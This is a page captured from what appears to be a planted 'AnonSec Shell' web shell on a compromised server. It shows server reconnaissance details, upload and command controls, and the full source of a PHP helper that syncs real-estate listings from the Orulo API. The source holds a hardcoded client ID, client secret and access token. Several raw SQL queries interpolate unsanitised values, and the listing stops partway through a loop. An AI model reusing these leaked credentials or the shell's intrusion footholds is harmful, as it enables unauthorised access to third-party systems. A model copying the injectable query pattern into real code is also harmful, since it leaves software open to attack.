AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/helpers/OruloHelper.php
<?php

define("ORULO_CLIENT_ID",     "bmTrXOynsAmmcHMUVq1H2Swj2KiScI2R7N76EqI9b9c");
define("ORULO_CLIENT_SECRET", "xqgO82Vcv6htuuszvA-GZC21Twz3ncJ_8Wk42Sxy3MQ");

include_once __DIR__ . "/../models/Company_constructionModel.php";
include_once __DIR__ . "/../models/EnterprisesModel.php";
include_once __DIR__ . "/../models/TypeunityModel.php";
include_once __DIR__ . "/../models/DocsModel.php";
include_once __DIR__ . "/CrawlerHelper.php";
include_once __DIR__ . "/google/GoogleMaps.php";

class OruloHelper {
    // private $access_token = "";
    private $access_token = "vfLjNtWHaWfiza343diQONwk_Q16-xyAoi2fqx0Ca04"; // TOKEN provisório do tipo OAuthEndUser para pegar arquivos
    
    private $companyConstructionModel;
    private $enterprisesModel;
    private $typeUnityModel;
    private $docsModel;
    private $crawlerHelper;
    private $crawlerType;

    private $report = array();

    private function getConnectionToken(){
        $curl = curl_init();

        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://www.orulo.com.br/oauth/token',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => 'client_id=' . ORULO_CLIENT_ID . '&client_secret=' . ORULO_CLIENT_SECRET . '&grant_type=client_credentials',
            CURLOPT_HTTPHEADER => array(
            'Content-Type: application/x-www-form-urlencoded'            
            ),
        ));
        
        $response = curl_exec($curl);
        curl_close($curl);

        $response = json_decode($response);

        if(isset($response->error)){
            throw new ErrorException($response->error_description);
        }
        
        $this->access_token = $response->access_token;
    }

    private function processGetConnection($url, $postFields = ""){
        if(empty($this->access_token)){
            $this->getConnectionToken();
        }

        $curl = curl_init();

        curl_setopt_array($curl, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'GET',
            CURLOPT_POSTFIELDS => $postFields,
            CURLOPT_HTTPHEADER => array(
            'Authorization: Bearer ' . $this->access_token,
            'Content-Type: application/json',
            ),
        ));
        
        $response = curl_exec($curl);
        
        curl_close($curl);
        $response = json_decode($response);
        if(isset($response->error_message)){
            throw new ErrorException("$response->error_message - URL: $url");
        }
        return $response;
    }

    private function gelAllEnterprisesFromState($state, $page){
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/buildings?state=$state&page=$page");
    }

    private function getCompanyConstruction($oruloConstructionCompanyID){
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/partners/$oruloConstructionCompanyID");
    }

    private function getEnterpriseDetails($oruloEnterpriseID){
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/buildings/$oruloEnterpriseID");
    }

    private function getEnterpriseImages($oruloEnterpriseID){
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/buildings/$oruloEnterpriseID/images?dimensions[]=1024x1024");
    }

    private function getEnterprisePlans($oruloEnterpriseID){
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/buildings/$oruloEnterpriseID/floor_plans?dimensions[]=1024x1024");
    }

    private function getEnterpriseDocuments($oruloEnterpriseID, $fileID){
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/buildings/$oruloEnterpriseID/files/$fileID");
    }

    private function getEnterpriseByName($searchName){
        $postFields = '{"name": "' . $searchName . '"}';
        return $this->processGetConnection("https://www.orulo.com.br/api/v2/buildings/name/search/", $postFields);
    }

    private function findTypeUnit($enterprise, $oruloID){
        $typeUnit = ORM::for_table('module_imobles_enterprise_units_type')
                        ->where('module_imobles_enterprise_id', $enterprise->id)
                        ->where_raw("(orulo_id = $oruloID OR airtable_id like '%orulo_$oruloID%')")
                        ->find_one();
        return $typeUnit;
    }

    private function findEnterpriseTower($enterprise){
        $tower = ORM::for_table('module_imobles_enterprise_towers')
                    ->where("module_imobles_enterprise_id", $enterprise->id)
                    ->find_one();
        return $tower;
    }

    private function createTower($enterprise, $constructionStage){
        $tower = ORM::for_table('module_imobles_enterprise_towers')->create();
        $tower->title = 'Torre 1';
        $tower->alias = 'torre_1';
        $tower->stage = $constructionStage;
        $tower->module_imobles_enterprise_id = $enterprise->id;
        $tower->created_at = date('Y-m-d H:i:s');
        $tower->date_delivery = $enterprise['release_date'];
        $tower->verified = 1;
        $tower->save();
        return $tower;
    }

    private function handleTypeUnit($enterprise, $typology, $constructionStage, &$typeUnitIDs){
        $numBedrooms = 0;
        $numBathrooms = 0;
        $numSuites = 0;
        $numGarages = 0;
        $totalArea = 0;
        $privateArea = 0;
        $originalPrice = 0;
        $discountPrice = 0;
        $condoFee = 0;
        $iptu = 0;
        $rentalPrice = 0;
        $totalUnits = 0;
        $availableUnits = 0;
        $solarPosition = "";
        $type = "";
        $duplex = 0;
        $roof = 0;
        $balcony = "";

        $oruloID = $typology->id;

        if(isset($typology->bedrooms)){
            $numBedrooms = $typology->bedrooms;
        }
        if(isset($typology->bathrooms)){
            $numBathrooms = $typology->bathrooms;
        }
        if(isset($typology->suites)){
            $numSuites = $typology->suites;
        }
        if(isset($typology->parking)){
            $numGarages = $typology->parking;
        }
        if(isset($typology->total_area)){
            $totalArea = $typology->total_area;
        }
        if(isset($typology->private_area)){
            $privateArea = $typology->private_area;
        }
        if(isset($typology->original_price)){
            $originalPrice = Finance::amount_fix($typology->original_price);
        }
        if(isset($typology->discount_price)){
            $discountPrice = Finance::amount_fix($typology->discount_price);
        }
        if(isset($typology->condominium_value)){
            $condoFee = Finance::amount_fix($typology->condominium_value);
        }
        if(isset($typology->urban_land_tax)){
            $iptu = Finance::amount_fix($typology->urban_land_tax);
        }
        if(isset($typology->rental_price)){
            $rentalPrice = Finance::amount_fix($typology->rental_price);
        }
        if(isset($typology->total_units)){
            $totalUnits = $typology->total_units;
        }
        if(isset($typology->stock)){
            $availableUnits = $typology->stock;
        }
        if(isset($typology->solar_position)){
            $solarPosition = $typology->solar_position;
        }
        if(isset($typology->type)){
            $type = $typology->type;
        }
    
        if($type == "Cobertura Duplex" || $type == "Duplex" || $type == "Triplex"){
            $duplex = 1;
        }

        if($type == "Cobertura Duplex" || $type == "Cobertura Horizontal"){
            $roof = 1;
        }

        $balcony = "";
        if ($type == "Garden"){
            $balcony = "Garden";
        }

        $title = $enterprise->enterprise." | ".
            Finance::amount_fix(@$numBedrooms)."Q | ".
            (Finance::amount_fix(@$numSuites) > 0? Finance::amount_fix(@$numSuites):0)."S | ".
            (Finance::amount_fix(@$numGarages) > 0? Finance::amount_fix(@$numGarages):0)."G | ".
            Finance::amount_fix(@$privateArea)."m²";

        $description = $type .($solarPosition? " - Posição solar: " . $solarPosition:null);


        $data = array(
            'title' => $title,
            'desc' => $description,
            'module_imobles_enterprise_id' => $enterprise->id,
            'area' => $privateArea,
            'number_rooms' => $numBedrooms,
            'number_suite' => $numSuites,
            'number_bathroom' => $numBathrooms,
            'number_toilet' => 0,
            'number_garage' => $numGarages,
            'roof' => $roof,
            'duplex' => $duplex,
            'varanda_sacada' => $balcony,
            'crawler_type_id' => 4,
            'orulo_id' => $oruloID
        );

        try {
            $typeUnit = $this->findTypeUnit($enterprise, $oruloID);
            if (!$typeUnit){
                $data['site_enabled'] = 0;
                $typeUnit = $this->typeUnityModel->createTypeunity($data);
                $typeUnit->updated_at = null;
                echo "\nNovo Tipo de Unidade Cadastrada: $typeUnit->id - $typeUnit->title. (Órulo ID: $typeUnit->orulo_id)";
                $this->report[] = "Novo Tipo de Unidade Cadastrada: $typeUnit->id - $typeUnit->title. (Órulo ID: $typeUnit->orulo_id)";
            } elseif (empty($typeUnit->orulo_id)){
                $typeUnit->orulo_id = $oruloID;
                $typeUnit->airtable_id = null;
                $typeUnit->save();
                echo "\nAtualizou Órulo ID do Tipo de Unidade";
            }

            $typeUnitIDs[] = $typeUnit->id;

            $createUnits = 0;
            if($availableUnits > 0){
                $createUnits = $availableUnits;
            } else if ($totalUnits > 0) {
                $createUnits = $totalUnits;
            }

            $tower = $this->findEnterpriseTower($enterprise);
            if (!$tower){
                $tower = $this->createTower($enterprise, $constructionStage);
                echo "\n Nova torre criada";
                $this->report[] = "Novo Torre Cadastrada: $enterprise->id - $enterprise->name";
            }

            if ($discountPrice > 0){
                $price = $discountPrice;
                $businessType = 'SALE';
            } else if ($originalPrice > 0){
                $price = $originalPrice;
                $businessType = 'SALE';
            } else if ($rentalPrice > 0){
                $price = $rentalPrice;
                $businessType = 'RENTAL';
            }
            $date_aux = DateTime::createFromFormat('d/m/Y H:i:s', $typology->updated_at);
            $newDate = strtotime($date_aux->format('Y-m-d H:i:s'));
            $oldDate = strtotime($typeUnit->updated_at);
            if ($newDate < $oldDate){
                echo "\nTipo de Unidade já atualizada: $typeUnit->id - $typeUnit->title - Quantidade: $createUnits - R$ $price (Órulo ID: $typeUnit->orulo_id)";
                $this->report[] = "Tipo de Unidade já atualizado: $typeUnit->id - $typeUnit->title - Quantidade: $createUnits - R$ $price (Órulo ID: $typeUnit->orulo_id)";
            } elseif ($this->typeUnityModel->updateAvailableUnits($typeUnit, $tower, $createUnits, $price, $iptu, $condoFee, $businessType)){
                echo "\nValor e Unidades disponíveis atualizadas: $typeUnit->id - $typeUnit->title - Quantidade: $createUnits - R$ $price (Órulo ID: $typeUnit->orulo_id)";
                $this->report[] = "Valor e Unidades disponíveis atualizadas: $typeUnit->id - $typeUnit->title - Quantidade: $createUnits - R$ $price (Órulo ID: $typeUnit->orulo_id)";
                $typeUnit->updated_at = date('Y-m-d H:i:s');
                $typeUnit->save();
            }
        } catch(Exception $e){
            echo $e->getMessage();
        }
    }

    private function imageExists($enterprise, $url, $crawlerImageID){
        $exists = false;
        $i = ORM::for_table('module_imobles_enterprise_imgs')
                ->where('module_imobles_enterprise_id', $enterprise->id)
                ->where('crawler_type_id', $this->crawlerType->id)
                ->where('crawler_image_id', $crawlerImageID)
                ->find_one();
        if($i){
            $exists = true;
        } else {
            // Tento localizar pela URL e se achar já corrige a informação do Crawler
            $i = ORM::for_table('module_imobles_enterprise_imgs')
                ->where('module_imobles_enterprise_id', $enterprise->id)
                ->where('name', $url)
                ->find_one();
            if($i){
                $i->crawler_type_id = $this->crawlerType->id;
                $i->crawler_image_id = $crawlerImageID;
                $i->save();
                $exists = true;
            }
        }
        return $exists;
    }

    private function handleImages($enterprise, $jsonImages, $tags = null){
        foreach($jsonImages as $i){
            $imageID = $i->id;
            $description = $i->description;
            $imageURL = "";
            foreach($i as $key => $value){
                if ($key == "1024x1024"){
                    $imageURL = $value;
                }
            }
            if(!empty($imageURL)){
                $imageURL = substr($imageURL, 0, strpos($imageURL, '?'));
                if(!$this->imageExists($enterprise, $imageURL, $imageID)){
                    $insert_img_aux = $this->crawlerHelper->insertEnterpriseImg($imageURL, $enterprise->id, 'backend', $tags, true, $description, true, null, null, null, $this->crawlerType->id, $imageID);
                    if($insert_img_aux === true) {
                        echo "\n IMAGEM INSERIDA COM SUCESSO";
                    }
                } else {
                    echo "\n IMAGEM JÁ CADASTRADA";
                }
            }
        }
    }

    private function fileExists($enterprise, $crawlerFileID){
        $exists = false;
        $d = ORM::for_table('module_imobles_docs')
            ->where('module_imobles_enterprise_id', $enterprise->id)
            ->where('crawler_type_id', $this->crawlerType->id)
            ->where('crawler_document_id', $crawlerFileID)
            ->find_one();
        if($d){
            $exists = true;
        } else {
            // Tento localizar pela Observação e se achar já corrige a informação do Crawler
            $d = ORM::for_table('module_imobles_docs')
                ->where('module_imobles_enterprise_id', $enterprise->id)
                ->where_like('obs', "%OruloID: $crawlerFileID%")
                ->find_one();
            if($d){
                $d->crawler_type_id = $this->crawlerType->id;
                $d->crawler_document_id = $crawlerFileID;
                $d->save();
                $exists = true;
            }
        }
        return $exists;
    }

    private function handleFiles($enterprise, $oruloEnterpriseID, $jsonFiles){
        foreach($jsonFiles as $j){
            $fileID = $j->id;

            if($this->fileExists($enterprise, $fileID)){
                echo "\nArquivo $fileID já existe";
                continue;
            }

            $expiration_date = null;
            $issued_date = null;
            $jsonFile = $this->getEnterpriseDocuments($oruloEnterpriseID, $fileID);
            $fileURL = $jsonFile->url;
            $fileName = $jsonFile->name;
            $fileName_aux = $this->crawlerHelper->cleanString(mb_strtolower($fileName));
            if (preg_match('/(disponibilidade)/i', $fileName_aux)) {
                $idCategory = 1;
                $expiration_date = date('t-m-Y');
                $issued_date = date('d-m-Y');
            } elseif (preg_match('/(tabela)/i', $fileName_aux)){
                $idCategory = 3;
                $expiration_date = date('t-m-Y');
                $issued_date = date('d-m-Y');
            } elseif (preg_match('/(book)/i', $fileName_aux)){
                $idCategory = 11;
                $issued_date = date('d-m-Y');
            } elseif (preg_match('/(apresentacao)/i', $fileName_aux)){
                $idCategory = 2;
                $issued_date = date('d-m-Y');
            } elseif (preg_match('/(memorial)/i', $fileName_aux)){
                $idCategory = 12;
                $issued_date = date('d-m-Y');
            } elseif (preg_match('/(ficha-tecnica|ficha tecnica|fichatecnica|ficha_tecnica)/i', $fileName_aux)){
                $idCategory = 10;
                $issued_date = date('d-m-Y');
            } else {
                $idCategory = null;
            }

            $obs = "Nome Original: $fileName\nURL Original: $fileURL";
            $data = [
                'downloadFile' => true,
                'module_imobles_enterprise_id' => $enterprise->id,
                'module_imobles_docs_category_id' => $idCategory,
                'obs' => $obs,
                'fileName' => $fileName,
                'fileURL'=> $fileURL,
                'crawler_type_id' => $this->crawlerType->id,
                'crawler_document_id' => $fileID,
                'issued_date' => $issued_date,
                'expiration_date' => $expiration_date
            ];
            
            $this->docsModel->createDocs($data);
        }

    }

    private function getCrawlerType(){
        $this->crawlerType = ORM::for_table('module_imobles_crawler_types')
                        ->where('type', 'orulo')
                        ->find_one();
        if(!$this->crawlerType){
            throw new ErrorException("Órulo CrawlerType não localizado!");
        }
    }

    private function findEnterprise($oruloEnterpriseID){
        $enterprise = ORM::for_table('module_imobles_enterprise')
                    ->where_raw("orulo_id = $oruloEnterpriseID OR airtable_id like '%orulo_$oruloEnterpriseID%'")
                    ->find_one();
        return $enterprise;
    }

    private function findEnterpriseByNameAndAddress($name, $neighborhood, $street, $streetNumber){
        $enterprise = ORM::for_table('module_imobles_enterprise')
                    ->where_raw("'$name' like concat('%',name,'%')")
                    ->where_equal("address_log", $street)
                    ->where_equal("address_number", $streetNumber)
                    ->where_equal("address_neightborhood", $neighborhood)
                    ->where_equal("site_enabled", 1)
                    ->find_one();
        return $enterprise;
    }

    private function findCompanyConstruction($companyConstuctionID, $companyConstuctionName){
        $companyConstruction = ORM::for_table('module_imobles_company_construction')
                    ->where("orulo_id", $companyConstuctionID)
                    ->find_one();
        // if(!$companyConstruction){
        //     $companyConstruction = ORM::for_table('module_imobles_company_construction')
        //                 ->where("name", $companyConstuctionName)
        //                 ->find_one();
        //     if($companyConstruction){
        //         if(empty($companyConstruction->orulo_id)){
        //             $companyConstruction->orulo_id = $companyConstuctionID;
        //             $companyConstruction->save();
        //         } else {
        //             // Órulo ID diferente, mesmo nome. Construtora Diferente.
        //             $companyConstruction = null;
        //         }
        //     }
        // }
        return $companyConstruction;
    }

    private function handleCompanyConstruction($jsonOruloCompanyConstruction){
        $data = array();
        if(isset($jsonOruloCompanyConstruction->name)){
            // $data['name'] = $jsonOruloCompanyConstruction->name;
            // $data['foundation_year'] = null;
            // $data['enterprises_delivered'] = '';
            // $data['partners'] = '';
            // $data['company_group'] = '';

            $companyConstruction = ORM::for_table('module_imobles_company_construction')->create();
            $companyConstruction->name = $jsonOruloCompanyConstruction->name;
            $companyConstruction->orulo_id = $jsonOruloCompanyConstruction->id;
            $companyConstruction->save();
            return $companyConstruction;

        } else {
            throw new Exception("Nome da construtora não pode ser vazio");
        }
        $companyConstruction = $this->companyConstructionModel->createCompany_construction($data);
        return $companyConstruction;
    }

    private function getState($stateName){
        if($stateName == ''){
            throw new ErrorException("Erro ao buscar estado. Nome não pode ser vazio!");
        }
        $uf = ORM::for_table("state")
                ->where("uf_state", mb_strtoupper(trim($stateName), 'UTF-8'))
                ->find_one();
        return $uf;
    }

    private function getCity($cityName, $state){
        if($cityName == '' || $state == null){
            throw new ErrorException("Erro ao buscar cidade. Nome não pode ser vazio e estado não pode ser nulo!");
        }
        $city = ORM::for_table("city")
                ->where("city_name", trim($cityName))
                ->where("id_state", $state->id)
                ->find_one();
        return $city;
    }

    private function handleEnterpriseAddress($jsonAddress, &$data, $enterprise = null){
        $state = $this->getState($jsonAddress->state);
        $city = $this->getCity($jsonAddress->city, $state);

        $data['address_state_id'] = $state->id;
        $data['address_city_id'] = $city->id;

        if(isset($jsonAddress->number)){
            $data['address_number'] = $jsonAddress->number;
        }
        if(isset($jsonAddress->street)){
            $data['address_log'] = $jsonAddress->street;
            $data['address_log_sanitized'] = $this->crawlerHelper->sanitizaLogradouro($data['address_log']);
        }
        if(isset($jsonAddress->area)){
            $data['address_neightborhood'] = $jsonAddress->area;
            $data['address_neighborhood_sanitized'] = $this->crawlerHelper->sanitizaLogradouro($data['address_neightborhood']);
        }
        if(isset($jsonAddress->zip_code)){
            $data['address_zip'] = $jsonAddress->zip_code;
        }
        if(isset($jsonAddress->latitude)){
            $data['latitude'] = $jsonAddress->latitude;
        }
        if(isset($jsonAddress->longitude)){
            $data['longitude'] = $jsonAddress->longitude;
        }

        // Pego os dados do empreendimento no GoogleMaps
        $google_maps_match = false;
        if($enterprise == null){
            $google_place = null;
            $text_query = $data['name'] . ', ' . $data['address_log'];
            $text_query .= !empty($data['address_number']) ? ', ' . $data['address_number'] : null;
            $text_query .= ', ' . $city->city_name . '-' . $state->uf_state;

            echo "\nBuscando Google Place: $text_query";

            $googleMaps = new GoogleMaps();
            $google_place = $googleMaps->findPlaceFromText($text_query);

            if ($google_place) {
                // Verifico se o nome do Place bate com a pesquisa
                $pattern = "/" . $data['name'] . "/i";
                preg_match_all($pattern, $google_place->name, $matches, PREG_OFFSET_CAPTURE);

                if (count($matches) && !empty($matches[0])) {
                    $google_maps_match = true;
                } else {
                    similar_text($data['name'], $google_place->name, $sim);
                    if ($sim > 50) {
                        $google_maps_match = true;
                        echo "\nACHOU POR SIMILARIDADE";
                    }
                }
            }
        }
        
        if ($google_maps_match === true) {
            // Pego os detalhes do Local
            $place_details = $googleMaps->placeDetails($google_place->place_id);
            if (!empty($place_details)) {
                // Pego o endereço do Local
                $place_address = $googleMaps->getPlaceAddress($place_details);
                if (!empty($place_address['address_log'])) {
                    $data['address_log'] = $place_address['address_log'];
                    $data['address_log_sanitized'] = $this->crawlerHelper->sanitizaLogradouro($data['address_log']);
                }

                if (!empty($place_address['address_number'])) {
                    $data['address_number'] = intval($place_address['address_number']);
                }

                if (!empty($place_address['address_neighborhood'])) {
                    $data['address_neightborhood'] = $place_address['address_neighborhood'];
                    $data['address_neighborhood_sanitized'] = $this->crawlerHelper->sanitizaLogradouro($data['address_neightborhood']);
                }

                if (!empty($place_address['address_zipcode'])) {
                    $data['address_zip'] = intval($place_address['address_zipcode']);
                }

                // Atualizo os dados com o Google
                $data['latitude'] = $place_details->geometry->location->lat;
                $data['longitude'] = $place_details->geometry->location->lng;
                $data['google_geometry'] = json_encode($place_details->geometry);
                $data['google_phone'] = isset($place_details->formatted_phone_number) ? $place_details->formatted_phone_number : null;
                $data['google_place_id'] = $place_details->place_id;
                $data['google_plus_code'] = isset($place_details->plus_code) ? json_encode($place_details->plus_code) : null;
                $data['google_rating'] = isset($place_details->rating) ? $place_details->rating : null;
                $data['google_reference'] = $place_details->reference;
                $data['google_reviews'] = isset($place_details->reviews) ? json_encode($place_details->reviews) : null;
                $data['google_user_ratings_total'] = isset($place_details->user_ratings_total) ? $place_details->user_ratings_total : null;
                $data['google_json'] = json_encode($place_details);
                $data['link_google'] = $place_details->url;
            }
        } else {
            $data['latitude'] = (isset($enterp['latitude'])) ? (str_replace(',', '.', $enterp['latitude'])) : null;
            $data['longitude'] = (isset($enterp['longitude'])) ? (str_replace(',', '.', $enterp['longitude'])) : null;
            echo "\nGOOGLE MAPS NOT FOUND: " . $data['name'];
        }
    }

    private function handleAmenities($jsonAmenities, &$data){
        foreach($jsonAmenities as $amenitie){
            $amenitiModel = new Enterprise_amenitiesModel();
            if (!empty(trim($amenitie))) {
                $enterprise_amenities = $amenitiModel->getOneCollum('name', mb_strtoupper(trim($amenitie)));
                if (!$enterprise_amenities) {
                    // if didn't find by name, try alternative names
                    $enterprise_amenities = ORM::for_table($amenitiModel->table)
                        ->where_like('alternative_names', "%" . mb_strtoupper(trim($amenitie)) . "%" )
                        ->find_one();
                }

                if ($enterprise_amenities) {
                    $data['module_imobles_enterprise_amenities'][] = $enterprise_amenities->id;
                } else {
                    $enterprise_amenities = $amenitiModel->createEnterprise_amenities(array('name' => trim($amenitie)));
                    $data['module_imobles_enterprise_amenities'][] = $enterprise_amenities->id;
                }
            }
        }
    }

    private function handleEnterprise($enterprise, $jsonOruloEnterprise){
        $usedUnity = false;
        if (isset($jsonOruloEnterprise->finality) && $jsonOruloEnterprise->finality == "Comercial"){
            echo "\nFinalidade Comercial - Não cadastrar";
            return false;
        }
        foreach ($jsonOruloEnterprise->typologies as $typology){
            // "Apartamento" "Cobertura Duplex" "Cobertura Horizontal" "Duplex" "Garden" "Loft" "Studio"  "Triplex"
            $ignore = array("Casa", "Casa em Condomínio", "Edifício Comercial", "Fazenda/Sítio", "Galpão/Pavilhão", "Loja", "Sala", "Sala com Área Ext.", "Terreno/Lote Comercial", "Terreno/Lote Residencial");
            if (in_array($typology->type, $ignore)) {
                echo "\nTipo $typology->type - Não cadastrar";
                return false;
            }
        }

        $constructionStage = "";
        $oruloEnterpriseID = $jsonOruloEnterprise->id;
        if($enterprise == null){
            $enterprise = $this->findEnterprise($oruloEnterpriseID);
            if($enterprise != null and empty($enterprise->orulo_id)) {
                $enterprise->orulo_id = $jsonOruloEnterprise->id;
                $enterprise->airtable_id = null;
                $enterprise->save();
            }
        }



        $data = array();
        $data["orulo_id"] = "$jsonOruloEnterprise->id";
        if(isset($jsonOruloEnterprise->name)){
            $data["name"] = "$jsonOruloEnterprise->name";
        }
        if(isset($jsonOruloEnterprise->description)){
            $data["desc"] = "$jsonOruloEnterprise->description";
        }
        if(isset($jsonOruloEnterprise->launch_date)){
            list($dia, $mes, $ano) = explode('/', trim($jsonOruloEnterprise->launch_date));
            $data["init_sales"] = "$ano-$mes-$dia";  // Lançamento
        }
        if(isset($jsonOruloEnterprise->opening_date)){
            list($dia, $mes, $ano) = explode('/', trim($jsonOruloEnterprise->opening_date));
            $data["release_date"] = "$ano-$mes-$dia"; // Inauguração;
        }
        if(isset($jsonOruloEnterprise->orulo_url)){
            $data["site_url"] = $jsonOruloEnterprise->orulo_url; // Página da Órulo para usuários cadastrados
        }
        if(isset($jsonOruloEnterprise->sharing_url)){
            $data["link_hotsite"] = $jsonOruloEnterprise->sharing_url; // Página da Órulo para compartilhamento (sem login)
        }
        if(isset($jsonOruloEnterprise->virtual_tour)){
            $data["videoTourLink"] = $jsonOruloEnterprise->virtual_tour;
        }


        if($enterprise == null){
            echo "\nCadstrando novo empreendimento";

            if (isset($jsonOruloEnterprise->address)){
                echo "\nAnalisando endereço";
                $jsonAddress = $jsonOruloEnterprise->address;
                $this->handleEnterpriseAddress($jsonAddress, $data, $enterprise);
            }
            
            $companyConstruction = $this->findCompanyConstruction($jsonOruloEnterprise->developer->id, $jsonOruloEnterprise->developer->name);
            if(!$companyConstruction){
                echo "\nCadastrando construtora";
                $jsonCompanyConstruction = $this->getCompanyConstruction($jsonOruloEnterprise->developer->id);
                $companyConstruction = $this->handleCompanyConstruction($jsonCompanyConstruction);
                $this->report[] = "Nova Construtora adicionada: $companyConstruction->name";
            }

            $data["module_imobles_company_construction_id"] = isset($companyConstruction->id)?$companyConstruction->id:null;

            $data['unitTypes'] = 'APARTMENT';
            $data['crawler_type_id'] = 4;
            $data['has_listing']     = 1;
            $data['sync_orulo']      = 1;
            $data['site_enabled']    = 0;
            $data['sanitized']       = 0;
            $data['imobles_client']  = 1;            
            $enterprise = $this->enterprisesModel->createEnterprises($data);
            echo "\nNovo Empreendimento cadastrado: $enterprise->id - $enterprise->name. (Órulo ID: $enterprise->orulo_id)";
            $this->report[] = "Novo Empreendimento cadastrado: $enterprise->id - $enterprise->name. (Órulo ID: $enterprise->orulo_id)";
        } else if ($enterprise->sanitized <> 1 && $enterprise->sync_orulo == 1){
            $data['address_log'] = $enterprise->address_log;
            $data['address_neightborhood'] = $enterprise->address_neightborhood;

            $data['crawler_type_id'] = 4;
            $data['has_listing']     = 1;
            $data['sync_orulo']      = 1;
            $data['site_enabled']    = $enterprise->site_enabled;
            $data['sanitized']       = $enterprise->sanitized;
            $data['enable']    = $enterprise->enable;
            $data['imobles_client']       = $enterprise->imobles_client;

            if(empty($enterprise->module_imobles_company_construction_id)){
                $companyConstruction = $this->findCompanyConstruction($jsonOruloEnterprise->developer->id, $jsonOruloEnterprise->developer->name);
                if(!$companyConstruction){
                    echo "\nCadastrando construtora";
                    $jsonCompanyConstruction = $this->getCompanyConstruction($jsonOruloEnterprise->developer->id);
                    $companyConstruction = $this->handleCompanyConstruction($jsonCompanyConstruction);
                    $this->report[] = "Nova Construtora adicionada: $companyConstruction->name";
                }
                $data["module_imobles_company_construction_id"] = isset($companyConstruction->id)?$companyConstruction->id:null;
            }

            $this->enterprisesModel->updateEnterprises($data, $enterprise, true);
            echo "\nEmpreendimento atualizado: $enterprise->id - $enterprise->name (Órulo ID: $enterprise->orulo_id)";
            $this->report[] = "Empreendimento atualizado: $enterprise->id - $enterprise->name (Órulo ID: $enterprise->orulo_id)";
        }

        if ($enterprise->sanitized <> 1 && isset($jsonOruloEnterprise->features ) && $enterprise->sync_orulo == 1){
            echo "\nCadastrando Amenities";
            $jsonAmenities = $jsonOruloEnterprise->features;
            $this->handleAmenities($jsonAmenities, $data);
            $this->enterprisesModel->saveAmenities($data, $enterprise->id);
        }

        if(isset($jsonOruloEnterprise->stage)){
            switch ($jsonOruloEnterprise->stage) {
                case "Em construção":
                    $constructionStage = "In Works";
                    break;

                case "Pronto novo":
                    $constructionStage = "Ready to move in";
                    break;

                case "Futuro Lançamento":
                    $constructionStage = "Pre Launch";
                    break;

                case "Lançamento":
                    $constructionStage = "Lauch";
                    break;

                case "Usado":
                    $constructionStage = "Ready to move in";
                    $usedUnity = true;
                    break;
            }
        }
        
        if ($enterprise->sync_orulo == 1){
            // Cadastra os Tipos de Unidade
            echo "\nAtualizando Tipos de Unidade";
            $typeUnitIDs = array();
            foreach ($jsonOruloEnterprise->typologies as $typology){
                $this->handleTypeUnit($enterprise, $typology, $constructionStage, $typeUnitIDs);
            }
            $typeUnits = ORM::for_table($this->typeUnityModel->table)
                        ->where('module_imobles_enterprise_id', $enterprise->id)
                        ->where_not_in('id', $typeUnitIDs)
                        ->where_null("delete_at")
                        ->where_not_null("orulo_id")
                        ->find_many();
            foreach($typeUnits as $t){
                $tower = $this->findEnterpriseTower($enterprise);
                if (!$tower){
                    echo "\n Torre não encontrado para um empreendimento antigo.";
                    $this->report[] = "Nenhuma torre encontrada para um empreendimento já cadastrado: $enterprise->id - $enterprise->name";
                } else {
                    if ($this->typeUnityModel->updateAvailableUnits($t, $tower, 0, $t->price_avg, $t->iptu_avg, $t->condo_fee_avg)){
                        echo "\nTipo de Unidade não localizado na Órulo, quantidade setada para zero: $t->id - $t->title";
                        $this->report[] = "Tipo de Unidade não localizado na Órulo, quantidade setada para zero: $t->id - $t->title";
                    }
                }
            }

            if ($enterprise->sanitized <> 1){
                // echo "\nBuscando Imagens";
                // $jsonImages = $this->getEnterpriseImages($oruloEnterpriseID);
                // $this->handleImages($enterprise, $jsonImages->images, null);

                // echo "\nBuscando Plantas";
                // $jsonPlans = $this->getEnterprisePlans($oruloEnterpriseID);
                // $this->handleImages($enterprise, $jsonPlans->floor_plans, array('4'));
            }

            echo "\nBuscando Arquivos";
            $jsonFiles = $jsonOruloEnterprise->files;
            $this->handleFiles($enterprise, $oruloEnterpriseID, $jsonFiles);
        }
    }

    public function getAllEnterprises(){
        $this->companyConstructionModel = new Company_constructionModel();
        $this->enterprisesModel = new EnterprisesModel();
        $this->typeUnityModel = new TypeunityModel();
        $this->docsModel = new DocsModel();
        $this->crawlerHelper = new CrawlerHelper();
        $this->getCrawlerType();

        echo "\n\n -------- Deletando Empreendimentos Duplicados -------- \n\n";
        $this->deleteDuplicates();

        echo "\n\n ----------- Buscando Empreendimentos ORULO ----------- \n\n";

        $states = ['GO', 'SC', 'PR'];
        // $states = ['SC'];
        foreach($states as $s){
            echo "\nBuscando empreendimentos em $s";
            $buildingsCount = 0;
            $page = 1;
            do {
